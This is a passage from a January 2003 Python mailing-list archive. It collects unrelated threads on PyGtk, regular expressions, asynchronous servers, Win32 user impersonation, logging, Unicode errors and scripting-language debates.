> > --------------------------------------------------------------------
> > Edward K. Ream   email:  edream at tds.net
> > Leo: Literate Editor with Outlines
> > Leo: http://personalpages.tds.net/~edream/front.html
> > --------------------------------------------------------------------
> >
> >
> > --
> > http://mail.python.org/mailman/listinfo/python-list
> >
> >



From Padraig at Linux.ie  Mon Jan 27 06:46:50 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Mon, 27 Jan 2003 11:46:50 +0000
Subject: PyGtk and multiple windows
In-Reply-To: <ijau0b.1j.ln@Nemesis>
References: <ijau0b.1j.ln@Nemesis>
Message-ID: <L19Z9.5613$V6.7938@news.indigo.ie>

Does this help?
http://www.async.com.br/faq/pygtk/index.py?req=show&file=faq10.006.htp

P?draig.




From peter at engcorp.com  Tue Jan 14 12:14:37 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Jan 2003 12:14:37 -0500
Subject: Extracting float from string
References: <mailman.1042562373.19154.python-list@python.org>
Message-ID: <3E24457D.ECDE062D@engcorp.com>

Spencer Ernest Doidge wrote:
> 
> Good software engineering practice suggests that you always design for
> worst case. Usually I don't have to spell that out in discussions
> like this.

It wasn't clear from your posts that you knew the least thing about
software engineering.  In fact, there was a strong hint that you knew
very little about it.  Thanks for clarifying that you are an expert. (*)

In that case, use the re module, with changes as appropriate, as in
the first example you gave which had merely an integer instead of a
float.  Clearly you'll understand how to do this, as an expert in
the practice of software engineering.

* Good software engineering practice suggests that you always 
include requirements adequate to let your developers understand
what it is you need.  You might improve in this area, but as you
are an expert I'm sure you already knew that.

-Peter Hansen, P.Eng.
(Director of Software Engineering at my current employer...)



From grante at visi.com  Wed Jan  8 13:48:07 2003
From: grante at visi.com (Grant Edwards)
Date: 08 Jan 2003 18:48:07 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <slrnb1ncej.n6a.grante@localhost.localdomain> <52719db8.0301080732.15604813@posting.google.com>
Message-ID: <3e1c7267$0$26174$a1866201@newsreader.visi.com>

In article <52719db8.0301080732.15604813 at posting.google.com>, James Huang wrote:
> Grant Edwards <grante at visi.com> wrote in message news:<slrnb1ncej.n6a.grante at localhost.localdomain>...

>> Then python isn't a scripting language, since it can't do that sort of
>> stuff.  I think.  I don't know what the language above is nor what the
>> example does, but it appears to be manipulating files more-or-less directly
>> the way a shell script does.
>> 
>> Here is how you do an os command in C:
>> 
>>  system("ls -l >foo");
>>  
>> Here is how you do the same thing in Python:
>> 
>>  os.system("ls -l >foo")
>> 
>> Not much difference, eh?
> 
> I'd say quite different even in this example.

How are the two examples above "quite different?"

-- 
Grant Edwards                   grante             Yow!  I hope the
                                  at               "Eurythmics" practice birth
                               visi.com            control...



From chergarj at cs.com  Thu Jan  2 23:06:17 2003
From: chergarj at cs.com (Chergarj)
Date: 03 Jan 2003 04:06:17 GMT
Subject: HELP! Must choose language!
References: <mailman.1041559452.15080.python-list@python.org>
Message-ID: <20030102230617.14241.00000512@mb-cr.news.cs.com>

>So far, no task I've attempted with Python has lead me down a blind alley.  
>It's my current favourite (not likely to change for a quite while either)...
>

"...blind alley."    For me, too early to tell, since I just started today. 
I'm not sure yet if it is as simple as clicking on your code writing program
and typing in your code and then clicking "Save As...".....

BASIC is "easy" if you have an easy-to-use version; some are variously
difficult for various people.  Since you were only 13 years old when you first
tried, you may have been too immature(not grown enough) at that time to be able
to adequately learn it.  Almost the same thing with me.  I struggled very badly
with BASIC-Plus studying at a university; but 2 years ago, I began to learn a
more recent form of BASIC and have progressed much more easily.

G C



From max at alcyone.com  Sat Jan  4 14:34:43 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 11:34:43 -0800
Subject: Threaded server in python!?
References: <av4u4r$v3c$06$1@news.t-online.com> <mailman.1041647647.32116.python-list@python.org> <x7y9607rmn.fsf@guru.mired.org>
Message-ID: <3E173753.A8236820@alcyone.com>

Mike Meyer wrote:

> The above also applies to medusa, except that it's a multi-protocol
> internet server instead of a library. I actually wrote an http chat
> server on top of medusa for a client, and was pleased with how well it
> worked.

Yes, Medusa (i.e., the full version of the asyncore/asynchat libraries)
is very straightforward to extend.  For basic stuff, using
asyncore/asynchat or Medusa is extremely easy and very straightforward,
and in my opinion has a shorter learning curve than other alternatives.

If you're looking for a "batteries included" solution where more
protocols are already implemented for you, then other options such as
Twisted become more attractive even though in my opinion they have a
greater learning curve.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I never think of the future.  It comes soon enough.
\__/ Albert Einstein
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From tismer at tismer.com  Thu Jan 16 07:09:53 2003
From: tismer at tismer.com (Christian Tismer)
Date: Thu, 16 Jan 2003 13:09:53 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <7x1y3dehrr.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <m2adi7ull8.fsf@mycroft.actrix.gen.nz> <OASU9.131402$Hs2.11990469@kent.svc.tds.net> <7xbs2k3pwp.fsf@ruckus.brouhaha.com> <mailman.1042560328.23078.python-list@python.org> <7x1y3dehrr.fsf@ruckus.brouhaha.com>
Message-ID: <3E26A111.6070309@tismer.com>

Paul Rubin wrote:
> Christian Tismer <tismer at tismer.com> writes:
> 
>>This leads to high-level descriptions of low-level
>>fields of all structures.
[...]

> Do you have some other examples that really get used often?  I'd think
> f_lineno's don't get used that often.

This was just an example for a common field (in
fact it is used quite often at runtime, but almost
only in the SET_LINENO opcode), that is embedded
into some other structure.
Everything else would to.
The idea is to describe fixed data structures
in a way that allows Python to easily deduce
what the data type is, without any trial.
See for example Thomas Heller's ctypes module,
which has such descriptions for everything.

A drawback of this is that we always need to
access target variables in dotted notation.
Otherwise we loose the static type info.
If Python had type declarations, this would
be no problem.

Here an example from intobject.c:

static int
int_compare(PyIntObject *v, PyIntObject *w)
{
	register long i = v->ob_ival;
	register long j = w->ob_ival;
	return (i < j) ? -1 : (i > j) ? 1 : 0;
}

Assuming that we try to model this in Python,
the resulting code might look like this

def int_compare(v, w):
     i, j = v.ob_ival, w.ob_ival
     if i < j: return -1
     elif i > j: return 1
     return 0

The above code only occours in contexts where
integer objects are passed in. There is no
type info in advance, but at the first execution
of this code, v and w are passed in with their
descriptions of all fields, and it is now
absolutely clear that i and j are values of
fixed sized integers.
Code for directly accessing the ob_ival fields
and doing the comparison can immediately
be emitted when running the code first time.

A remaining problem with the lack of declarations
are local variables which are not members of
a structure and it is not clear from the beginning
what the primitive type should be.
One ugly way would be to construct a structure
for the local variables and to use dotted notation
again. I hope this can be avoided by propagation
of type info via __coerce__.

Another snipped from intobject:

		for (i = 0, p = &list->objects[0];
		     i < N_INTOBJECTS;
		     i++, p++) {
			if (PyInt_CheckExact(p) && p->ob_refcnt != 0)
				irem++;
		}

Given a type object named c_int, this might translate to

     i = c_integer(0)
     p = list.objects
     while i < N_INTOBJECTS:
         # body not implemented here
         i += 1
         p += 1

Here I use a known class as initialization of i.
The data type is therefore known.
p as a pointer field in the list structure is
also known.
The __coerce__ method of these classes can be
written in a way, that they always propagate
their own class to other operands, and especially
in this case, the right operand is a constant.
Given a definition like this:

class c_integer(c_datatypes):
     def __coerce__(self, other):
         if type(other) == int:
             return self, c_integer(other)
         elif ....

What I tried to express is that with little or
no help of the programmer, primitive data types
can be deduced quite easily, and unique code
can be emitted on first execution of the code.

> Will you give some thought to going to a tagged representation of
> object references, and maybe a more traditional GC?  That way you
> avoid a lot of memory traffic, and also don't have to adjust reference
> counts every time you touch anything.
> 
> I think these would give a big performance boost, and also would also
> simplify the C API.  It might be possible to supply a compatibility
> layer to make the old C API still useable.

Can you give me a hint how this would be done?
I have no experience with tagged representations,
but if this can save so much, I should learn more
about it.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/





From Kevin.Smith at sas.com  Sat Jan 18 20:31:17 2003
From: Kevin.Smith at sas.com (Kevin Smith)
Date: 19 Jan 2003 01:31:17 GMT
Subject: logging: How do you change the format?
Message-ID: <20030118203116702-0500@braeburn.themorgue.org>

I've been playing around with the logging package in Python 2.3.  The 
documentation is pretty skimpy on the examples and there are no examples 
on how to change the format of the messages.  Can someone "in the know" 
please post an example of how to do this?  Thank you.

-- 
Kevin Smith
Kevin.Smith at sas.com



From mark.charsley at REMOVE_THIS.radioscape.com  Tue Jan 28 12:16:00 2003
From: mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley)
Date: Tue, 28 Jan 2003 17:16 +0000 (GMT Standard Time)
Subject: Simple Web Proxy
Message-ID: <memo.20030128171641.1600A@a.radioscape.com>

I'd like a simple web-proxy that 
- intercepts each HTML page,  
- passes it through a list of python functions which can, for instance, 
search for and destroy for links to images on doubleclick.net, 
particularly offensive Javascript functions,  etc.
- pass the modified page back to the client.

A couple of questions:
1) does this make sense, or am I suffering from a particularly simplistic 
view of how HTTP works (I'd be shocked if it worked with HTTPS for 
instance)
2) is there an existing skeleton out there I could build upon (capable of 
running on 9x or linux with apache: doesn't matter which)

TIA

Mark



From rupole at hotmail.com  Thu Jan 16 18:40:55 2003
From: rupole at hotmail.com (Roger Upole)
Date: Thu, 16 Jan 2003 18:40:55 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
References: <mailman.1042650398.19724.python-list@python.org> <3e2650f8_5@corp-goliath.newsgroups.com> <mailman.1042755331.3986.python-list@python.org>
Message-ID: <3e273aac_6@corp-goliath.newsgroups.com>

What error do you get when you try to adjust SE_TCB_NAME ?
This is almost certainly what's getting you.  It shows up in the account
rights editor as "Act as part of the operating system".  It's short for
Trusted Computer Base if I recall correctly.
          Roger

"Doug Glenn" <dglenn at charter.net> wrote in message
news:mailman.1042755331.3986.python-list at python.org...
I redid this script to try and adjust privileges as outlined by Roger.
No luck.  This now includes the ones I have tried, the ones that
outright failed, and those that just gave me another error.

I would like to know those who do have this type of script running. I
would like to see a dump of secpol.msc on the user security privilege
section so I can possibly track down what the differences are.

Also, what version of Python and Pythonwin libraries you are using.

Here is the newer script and information:
<begin sudo.py>
# file to switch users in Windows 2000
# -------------------
import sys
import win32security
import win32con
import win32api
from ntsecuritycon import *

program="sadmin.exe"
#domain=os.getenv('COMPUTERNAME')
domain=None
fail=[]

def AdjustPrivilege(priv, enable = 1):
    # Get the process token.
    flags = TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
    #flags= TOKEN_QUERY
    htoken =  win32security.OpenProcessToken \\
  (win32api.GetCurrentProcess(), flags)
    # Get the ID for the privilege.
    id = win32security.LookupPrivilegeValue(None, priv)
    # Now obtain the privilege for this process.
    # Create a list of the privileges to be added.
    if enable:
        newPrivileges = [(id, SE_PRIVILEGE_ENABLED)]
    else:
        newPrivileges = [(id, 0)]
    # and make the adjustment.
    try:
        win32security.AdjustTokenPrivileges(htoken, 0, newPrivileges)
    except:
        fail.append(priv)


class Impersonate:

    def __init__(self, login, password):
        self.domain=domain
        self.login=login
        self.password=password
    def logon(self):
        self.handel=win32security.LogonUser(self.login,None,
        self.password,win32con.LOGON32_LOGON_INTERACTIVE, \\
        win32con.LOGON32_PROVIDER_DEFAULT)
        win32security.ImpersonateLoggedOnUser(self.handel)
    def logoff(self):
        win32security.RevertToSelf() #terminates impersonation
        self.handel.Close() #guarantees cleanup


if __name__ =='__main__':

    #Exception: pywintypes.api_error (1314, 'LogonUser', 'A required
privilege is not held by the client.')
    # all of these return None, but the error persists.
    AdjustPrivilege(SE_CHANGE_NOTIFY_NAME)
    AdjustPrivilege(SE_SYSTEM_PROFILE_NAME)
    AdjustPrivilege(SE_DEBUG_NAME)
    AdjustPrivilege(SE_SHUTDOWN_NAME)
    AdjustPrivilege(SE_SECURITY_NAME)
    AdjustPrivilege(SE_PROF_SINGLE_PROCESS_NAME)
    AdjustPrivilege(SE_REMOTE_SHUTDOWN_NAME)
    AdjustPrivilege(SE_TAKE_OWNERSHIP_NAME)
    AdjustPrivilege(SE_INC_BASE_PRIORITY_NAME)
    AdjustPrivilege(SE_SYSTEMTIME_NAME)
    AdjustPrivilege(SE_SYSTEM_ENVIRONMENT_NAME)
    AdjustPrivilege(SE_BACKUP_NAME)
    AdjustPrivilege(SE_RESTORE_NAME)
    AdjustPrivilege(SE_INCREASE_QUOTA_NAME)
    AdjustPrivilege(SE_INCREASE_QUOTA_NAME)
    AdjustPrivilege(SE_INC_BASE_PRIORITY_NAME)
    AdjustPrivilege(SE_CREATE_PAGEFILE_NAME)

    # These settings hit the 'fail' list from the try routine on the
    #AdjustPrivileges function.
    # ------------------------
    #AdjustPrivilege(SE_AUDIT_NAME)
    #AdjustPrivilege(SE_MACHINE_ACCOUNT_NAME)
    #AdjustPrivilege(SE_TCB_NAME)
    #AdjustPrivilege(SE_ASSIGNPRIMARYTOKEN_NAME)
    #AdjustPrivilege(SE_LOCK_MEMORY_NAME)

    # api_error: (1313, 'LookupPrivilegeValue', 'A specified privilege
    # does not exist.')
    # privileges generating the above error are:
    # -----------------------------------
    #AdjustPrivilege(SE_CREATE_PERMANENT_NAME)
    #AdjustPrivilege(SE_CREATE_TOKEN_NAME)
    #AdjustPrivilege(SE_UNSOLICITED_INPUT_NAME)

    a=Impersonate('desktop', 'help4u')

    try:
        a.logon() #become the user
        b=AdjustPrivilege(SE_SYSTEM_PROFILE_NAME)

        try:
            #os.execvp(program)
            print win32api.GetUserName() #show you're someone else
        finally:
            a.logoff() #return to normal
    except:
            print 'Exception:',sys.exc_type , sys.exc_value
            print  #stops debugger with values still listed.



-----
Doug




-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From spencer at efn.org  Tue Jan 21 15:09:45 2003
From: spencer at efn.org (Spencer Ernest Doidge)
Date: 21 Jan 2003 20:09:45 GMT
Subject: Pywin print w/o linefeed?
Message-ID: <b0k9e9$f5q$1@news.efn.org>

Running Pythonwin, you get:

>>> def go():
        print 'hello world'
        print 'goodbye world'

>>> go()
hello world
goodbye world

Is there some way to make Python print a string without the linefeed
at the end? If there were <some instruction> to do that, then I could
do this:

>>> def go():
        <some instruction> 'hello world'
        <some instruction> 'goodbye world'

>>> go()
hello worldgoodbye world

I know that I could accumulate a string and then make one print statement,
but is there some other way? For those who remember Pascal, WRITELN corresponds
to Python's print. Is there a Python way to implement the equivalent of Pascal'sWRITE?



-- 
Spencer Doidge



From sasDOTepsylon at wanadoo.fr  Wed Jan 15 08:50:04 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Wed, 15 Jan 2003 14:50:04 +0100
Subject: Baliser un texte en Python
References: <18f9f477.0301140735.304887da@posting.google.com> <v6t82v0k2igqhceu33rs3ohnkt00q4o29k@4ax.com> <18f9f477.0301150456.c1ff815@posting.google.com>
Message-ID: <ghpa2vkh97oms63h8lqp91evdpuoqaakmr@4ax.com>

On 15 Jan 2003 04:56:49 -0800, nbodineau at club-internet.fr (Natacha)
wrote:

>EpSyLOn <sasDOTepsylon at wanadoo.fr> wrote in message news:<v6t82v0k2igqhceu33rs3ohnkt00q4o29k at 4ax.com>...
>> On 14 Jan 2003 07:35:17 -0800, nbodineau at club-internet.fr (Natacha)
>> wrote:
>> 
>> >bonjour,
>> >
>> >nous aimerions savoir si Python peut baliser un texte(format .txt) en
>> >format XML ou HTML.
>> 
>> Peut-tu donner plus de pr?cisions sur ce que tu veut faire exactement
>> ?
>
>Bonjour,
>Nous voulons aligner un texte avec sa traduction et nous avons besoin
>d'un
>algorithme de balisage et d'un algorithme d'alignement.
>
>Lors du balisage des deux textes, nous aimerions avoir les r?sultats
>suivants(voir PJ1).
>
>Lorsque les deux textes sont balis?s, nous aimerions les aligner
>Sachant que nous d?sirons aligner ces textes par paragraphe, phrase,
>mot.(voir PJ)
>
[snip exemples]
Bon, je vais tacher d'apporter un d?but de r?ponse.
Ce que tu sembles vouloir faire, c'est g?n?rer un document XML ?
partir d'un document texte brut.
Je suppose que tu as d?termin? des sortes d'?quivalences entre ton
document texte et ton document XML.
exemple :
<CrLf>
texte bla bla bla...
<CrLf>
devient en XML
<balises precedentes>
    <p id="p1">

    </p>
</ >

Pour faire l'analyse de ce genre de fichier avec Python, deux cas sont
a envisager :
- Lecture simple puis analyse a la main (s'il ne s'agit que de
chercher les espaces, rien de plus simple)
- Analyse avec les expressions r?guli?res (module de la bibliotheque
standard re; http://www.python.org/doc/current/lib/module-re.html)

Pour la g?n?ration du code XML :
Je n'ai que peu utilis? XML avec Python, mais voila ce que j'en sais :
- La bibliotheque standard offre des jeux de modules en standard
permettant de g?rer le xml et l'html :
http://www.python.org/doc/current/lib/markup.html
- Il y a un projet h?berg? chez SourceForge qui a pour but d'am?liorer
le support XML de Python :
http://pyxml.sourceforge.net/
- Il existe un SIG (Special Interest Group) consacr? au couple
Python/XML :
http://www.python.org/sigs/xml-sig/
- J'ai entendu parl? de 4Suite, mais je ne sais pas exactement a quoi
est destin?e cette plateforme :
http://www.4suite.org
- il existe certainement d'autres projets de parser/g?n?rateurs, mais
je ne les connais pas...

Le mieux serait de continuer la discussion avec quelqu'un qui en sait
plus que moi, soit en anglais (les contributions seront meilleures),
soit en fran?ais sur <news:fr.comp.lang.python>.

Salutations,

-- 
  .-.  EpSyLOn      sas<dot>epsylon<at>wanadoo<dot>fr
  oo|  faq fclc:    http://www.isty-info.uvsq.fr/~rumeau/fclc
 /`'\  Usenet  :    http://www.usenet-fr.net
(\_;/) "Quand le sage montre la lune, l'imb?cile regarde le doigt"



From sunram78 at hotmail.com  Mon Jan  6 09:20:04 2003
From: sunram78 at hotmail.com (sundar raman)
Date: Mon, 06 Jan 2003 19:50:04 +0530
Subject: Panic Memory leaks 
Message-ID: <F118HQHz4Axu68SRgcT0002a518@hotmail.com>

Hai members,
        I have been using Python for the few weeks. So I don't want to 
comment about python. I used Python/C API for developing an extension.
I properly made memory management through python memory allocation and 
deallocation functions such as PY_DECREF.I properly initialized python by 
PY_initialize and finally deinitialized through py_finalize. But still I am 
not able to get rid of memory leaks. I even checked the reference counts 
through quick watch feature of VC++. It shows some
incredibly high values. I am not able to understand what is going on inside 
these functions. Please help me to solve this problem.
Urgent!.
With regards,
Sundararaman






_________________________________________________________________
The new MSN 8 is here: Try it free* for 2 months 
http://join.msn.com/?page=dept/dialup





From martin at v.loewis.de  Tue Jan  7 15:26:36 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 07 Jan 2003 21:26:36 +0100
Subject: Unicode error: ASCII encoding error. Ordinal not in range(128) ???
References: <%WFS9.8062$CG6.157588@news4.e.nsc.no>
Message-ID: <m3ptr8wvsz.fsf@mira.informatik.hu-berlin.de>

"Thomas Weholt" <2002 at weholt.org> writes:

> I'm working with RSS/RDF-feeds and get the above mentioned error. How can I
> detect and/or avoid this error, when parsing/working with strings??

Depends on what operation you perform. If you are going to write a
Unicode string to a byte-oriented storage, you need to encode it
before writing it.

Regards,
Martin




From hancock at anansispaceworks.com  Wed Jan 22 15:21:10 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 22 Jan 2003 20:21:10 GMT
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com>
Message-ID: <W2DX9.6659$Sv3.652850@newsread1.prod.itd.earthlink.net>

Alan James Salmoni wrote:
> I suppose somebody had better tell NASA that they shouldn't be using
> Python. And saying that Basic is better for "industrial,
> mission-critical software systems" than Ada? I thought that was
> precisely the kind of task that Ada excels at (things like control
> systems for nuclear power stations, missile control systems and the
> like).

Hey. Has anybody tried to write a Python interpreter in Ada? I guess it 
would be called Aython.

Sorry, I'll shut up now.  ;-D

Terry
-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From adalke at mindspring.com  Tue Jan 14 18:32:37 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 14 Jan 2003 16:32:37 -0700
Subject: matching and extracting...
In-Reply-To: <b024tc$93b$1@slb2.atl.mindspring.net>
References: <409a56e2.0301141324.6625547d@posting.google.com> <b024tc$93b$1@slb2.atl.mindspring.net>
Message-ID: <b026mb$2qp$1@slb2.atl.mindspring.net>

Me:
>      m = m[:-1]  # the last term is an empty tuple

Silly me.  Not needed.

					Andrew




From python at dylanreinhardt.com  Sun Jan 19 17:40:19 2003
From: python at dylanreinhardt.com (Dylan Reinhardt)
Date: Sun, 19 Jan 2003 14:40:19 -0800
Subject: __parent__ - like attribute?
In-Reply-To: <20030119221310.GE8210@frobozz.local>
References: <5.1.1.6.0.20030119075736.01d38618@www.dylanreinhardt.com>
 <av7cuu$cu2$1@slb0.atl.mindspring.net>
 <YhlS9.24314$NB4.6001@FE05>
 <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
 <mailman.1042947586.19440.python-list@python.org>
 <mailman.1042955509.8397.python-list@python.org>
 <5.1.1.6.0.20030119075736.01d38618@www.dylanreinhardt.com>
Message-ID: <5.1.1.6.0.20030119142754.01d62930@www.dylanreinhardt.com>

At 02:13 PM 1/19/2003, Andrew Bennetts wrote:
>Judging from what you've said earlier, the most elegant way to solve your
>specific problem would be to have both Egg and Spam inherit from Persistent,
>and let them both manage their own _p_changed flags.  Then there is no need
>to pass parent references around, or other namespace tricks -- ZODB will
>take care of it for you.

What I want is a reference to the parent object... nothing more, nothing 
less.  I need my subobjects not only to set values in their parent, but to 
acquire values as well.

Looks like I'll be using ExtensionClass & Acquisition since exactly what it 
does.

Thanks for your help,

Dylan





From grante at visi.com  Fri Jan 10 10:00:16 2003
From: grante at visi.com (Grant Edwards)
Date: 10 Jan 2003 15:00:16 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <mailman.1042038801.29977.python-list@python.org> <52719db8.0301082116.50572416@posting.google.com> <avj741$r77$1@slb3.atl.mindspring.net> <52719db8.0301092211.60ae0618@posting.google.com>
Message-ID: <3e1ee000$0$182$a1866201@newsreader.visi.com>

In article <52719db8.0301092211.60ae0618 at posting.google.com>, James Huang wrote:
> Andrew Dalke <adalke at mindspring.com> wrote in message news:<avj741$r77$1 at slb3.atl.mindspring.net>...
>> James Huang:
>> > As I said, "I guess"-ed. Weakly-typed-ness, are variables required to
>> > be declared with types before use, and do not change for most
>> > situations? I know VB has a strict mode that enforces this.
>> 
>> That's static typing.  C is statically typed, but weakly typed.
>> For example, in C you can add a pointer, and integer, and a character,
>> but the types are all declared.
> 
> Without static typing, what good does strongly-typedness do?

Are you serious?

Have you ever written anything in Python?

I'm beginning to think this is all a gigantic troll...

-- 
Grant Edwards                   grante             Yow!  I guess it was all a
                                  at               DREAM... or an episode of
                               visi.com            HAWAII FIVE-O...



From aahz at pythoncraft.com  Thu Jan 30 12:31:23 2003
From: aahz at pythoncraft.com (Aahz)
Date: 30 Jan 2003 12:31:23 -0500
Subject: Scripting *of* Python
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk>
Message-ID: <b1bnhb$326$1@panix2.panix.com>

In article <b1bj7a$i9o$1 at jura.cc.ic.ac.uk>,
Phil Mayers <p.mayers at imperial.ac.uk> wrote:
>
>I've got an application (actually a framework) written in Python based on
>a medusa-like framework for asynchronously talking to thousands of remote
>services in parallel. I have been unable to equal the performance of this
>using a 1:1 or 1:N (pooled) thread model, so I need to stick with the
>async version.

Based on what you've said, I'd suggest looking into switching to
Twisted, http://www.twistedmatrix.com/products/twisted
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From adalke at mindspring.com  Sat Jan 11 13:15:41 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Jan 2003 11:15:41 -0700
Subject: How do I get to *all* of the groups of an re search?
In-Reply-To: <5tq5f-8k3.ln1@news.lairds.org>
References: <mailman.1042258221.18149.python-list@python.org> <5tq5f-8k3.ln1@news.lairds.org>
Message-ID: <avpnem$mu1$1@slb0.atl.mindspring.net>

Tim Peters:
>>would also (at least) complicate the meaning of backreferences (what is \1
>>supposed to match then?  "a list" of all strings ever matched by group 1?
> 

Kyler Laird wrote:
> Yes, that is what I have suggested.

I can say for the implementation that that is tricky to implement
and susceptable to unexpected slowdowns.

>>Sure.  For example, finding the last component of a path expression, in
>>order to isolate the file name, is a common application.
> 
> 
> That's readily done using simple REs without depending on this
> behavior.

The simple re is

 >>> import re
 >>> pat = re.compile(r"(/([^/]+)*)+")
 >>> pat.match("/home/dalke/tmp/whatever.txt").group(2)
'whatever.txt'
 >>>

If I understand you rightly, you would want to use the same
re to get all the filename matches, eg, so that 'allmatches(2)'\
(or somesuch) would return ['home', 'dalke', 'tmp', 'whatever.txt']

So you do want your behaviour for all regexps with groups.


Again, I see your point in that the interface to regexp results
isn't as powerful as it could be.  I still think your proposed
inteface isn't itself powerful enough.

> Yes, I can understand that developers are already programmers
> and have been tainted by other languages.  I'm advocating the
> use of Python for people who have not learned other languages.
> They won't have the experience to look at a piece of Python
> documentation and say "Oh, but surely they don't mean *that*."

In my case, I learned about regexps from taking a theory of
automata course.  I tried to figure it out from the documentation
(this was the documentation for archie, some 10 years ago) but
only managed to understand ".*" and a couple other simple ones.

I learned regexps as a mathematical language first, without its
bindings to any specific language.  I then slowly learned about
all the tricks available in real regexps.  For example, back
references mean regexps are not regular languages, since you
can match a**n b a**n.

And I most assurdly learned how to use the regexps libraries
by reading the documentation many times and doing a lot of
experimentation.   And by coding in Perl for several years.

So I would have seen the comment in the documentation about how
they only match the last group and would have experimented with
it to get a better grasp of the behaviour.

Now in your case, you want to advocate Python for people who
haven't learned other languages.  In other words, for people
who are not programmers.  This is a new criteria, since you
hadn't mentioned it before.

With that additional information, I'll suggest that regular
expressions are not for the faint of heart nor for just about
every new programmer.  Eg, in Cameron's first response he said
"I am clumsy with REs."  Yet Cameron's been programming for
a while in many different languages and writes articles about
it.  Or take me.  I wrote a regexp engine and still had to
fiddle with the grammar a few times to make it work against
your original example.

					Andrew
					dalke at dalkescientific.com




From iscaris at hotmail.com  Wed Jan  1 07:03:22 2003
From: iscaris at hotmail.com (Fernando)
Date: 1 Jan 2003 04:03:22 -0800
Subject: Trouble with regex
References: <a26792eb.0212310824.76b107de@posting.google.com> <mailman.1041356825.8079.python-list@python.org>
Message-ID: <a26792eb.0301010403.29143dbb@posting.google.com>

Jp Calderone <exarkun at intarweb.us> wrote in message news:<mailman.1041356825.8079.python-list at python.org>...
> On Tue, Dec 31, 2002 at 08:24:52AM -0800, Fernando wrote:
> > I'm writing a regex to retrieve all the links in a google result page,
> > but I'm only geting the first one.
> > [snip]
> 
> Some people, when confronted with a problem, think "I know, I'll use regular
> expressions." Now they have two problems.
>    -- Jamie Zawinski

Sounds reasonable... ;-)

>   Use sgmllib or, if google returns xhtml (I don't think it does) an xml
> package.

I'll check sgmllib, thanks.



From aleax at aleax.it  Fri Jan 31 12:40:32 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 17:40:32 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <mailman.1044030403.16193.python-list@python.org>
Message-ID: <kyy_9.110036$0v.3176491@news1.tin.it>

Donnal Walter wrote:

> functionality. The iteron definition using generators doesn't really work
> for me for some reason. (I confess I don't fully understand generators.) I

Maybe you don't have a:
   from __future__ import generators
at the start of your module?

> I have followed this thread with interest because I need the same kind of
> would settle for a function aslist that would meet the following unit
> tests:
> 
> class MyObject(object): pass
> 
> class test_aslist(unittest.TestCase):
> 
>     def test_string(self):
>         x = 'spam'            # arg
>         y = aslist(x)         # test function
>         z = [x]               # target
>         self.assertEquals(y, z)
> 
>     def test_tuple(self):
>         x = ('spam', 'eggs')  # arg
>         y = aslist(x)         # test function
>         z = ['spam', 'eggs']  # target
>         self.assertEquals(y, z)
> 
>     def test_list(self):
>         x = ['spam', 'eggs']  # arg
>         y = aslist(x)         # test function
>         z = x                 # target
>         self.assertEquals(y, z)
> 
>     def test_instance(self):
>         x = MyObject()        # arg
>         y = aslist(x)         # test function
>         z = [x]               # target
>         self.assertEquals(y, z)

If this is indeed *ALL* you need then the simplest way to
code aslist is probably:

def aslist(x):
    if isinstance(x, (list, tuple)): return x
    return [x]

It's hard to imagine a simpler or more concise way to
express the exact set of functionality given by these
unit tests.

My objection to this approach, based on type-testing,
is that it fails to do what I consider sensible for
args of many OTHER types, such as UserString and the
like.  But if you are adamant that the ONLY types you
want to be left alone are tuples and lists, and EVERY
other type MUST be wrapped up as a 1-item list, which
is at least one way to read these unit tests, then
it's hard to do better than just saying so outright
in the Python source code of function aslist.


Alex




From edream at tds.net  Sat Jan 11 16:29:46 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 11 Jan 2003 21:29:46 GMT
